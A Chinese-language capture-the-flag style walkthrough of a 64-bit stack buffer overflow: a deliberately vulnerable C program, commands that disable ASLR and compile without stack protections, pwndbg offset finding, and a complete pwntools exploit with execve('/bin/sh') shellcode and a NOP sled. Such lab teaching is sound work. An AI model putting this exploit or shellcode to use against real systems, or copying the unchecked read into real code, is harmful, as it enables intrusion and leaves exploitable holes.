题目:

首先我们看看赛题环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// 禁用缓冲区
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

// 存在缓冲区溢出漏洞的函数
void vuln() {
char buf[64]; // 栈上缓冲区
printf("Input your data: ");
read(0, buf, 256); // 明显的缓冲区溢出 - 读取256字节到64字节缓冲区
printf("You entered: %s\n", buf);
}

int main() {
init();
printf("Welcome to the 64-bit buffer overflow challenge!\n");
printf("This program has a classic buffer overflow vulnerability.\n");
printf("Find a way to exploit it and get a shell!\n\n");

vuln();

printf("Returned to main function. Exiting normally.\n");
return 0;
}

实战操作:

我们首先是看代码:
首先是 vuln 函数,有一个 buf[64],还有一个危险函数 read,可以发现 read 可以读取 256 到 64 字节。所以我们可以使用缓冲区溢出漏洞来进行渗透。
首先先编一下这个 vuln.c,然后为了我们后面的缓冲区溢出可以正常操作,我们还需要先关闭ASLR

1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
1
gcc -o shell_code shell_code.c -no-pie -fno-stack-protector -z execstack -Wno-stringop-overflow

我们可以看看这个代码的运行效果:
image.png

我们可以先用很大的一个数据把它的data填满,然后再返回地址中填写我们的shellcode

方法一

现在进行pwndbg的调试吧,直接使用start
image.png

然后我们在pwndbg里生成模式串
我们这里直接使用pwndbg自带的cyclic来生成一堆冗杂数据来填满我们的data使其程序崩溃
image.png

从调试中可以看到这些信息:
我们发现这里的RSP没有正常的显示他的地址,不着急,可以先算算buf到RBP的距离,然后再加上旧的RBP一样可以算出来我们的偏移量

1
2
3
pwndbg> cyclic -l 0x6161616161616169
Finding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161)
Found at offset 64

算出来了RBP的之后,我们就可以知道RSP的了。

1
[buf(64字节)][旧的RBP(8字节)][返回地址(8字节)]

正确的偏移量:

  • 到RBP的偏移:64字节
  • 到RIP的偏移:72字节

方法二

我们也可以使用这种方法:
image.png

我们也是可以计算出偏移量的。

exp

算完之后,我们现在就可以来构造一个exp来进行攻击了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

def exploit():
# 禁用 ASLR 运行程序
p = process(['setarch', 'x86_64', '-R', './shellcode'])

# 等待输入提示
p.recvuntil(b'Input your data: ')

# 使用更小的 shellcode (execve("/bin/sh", NULL, NULL))
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

# 偏移量
offset = 72

# 使用一个常见的栈地址 (在禁用 ASLR 时应该有效)
return_addr = 0x7fffffffe100

# 构造 payload
payload = b'A' * offset # 填充到返回地址
payload += p64(return_addr) # 覆盖返回地址
payload += b'\x90' * 50 # NOP sled
payload += shellcode # shellcode

log.info(f"Sending payload of {len(payload)} bytes")
log.info(f"Offset: {offset}")
log.info(f"Shellcode length: {len(shellcode)} bytes")
log.info(f"Return address: {hex(return_addr)}")

# 发送 payload
p.send(payload)

# 尝试获取 shell
try:
p.interactive()
except:
log.error("Exploit failed")

if __name__ == '__main__':
exploit()

然后试试效果:
image.png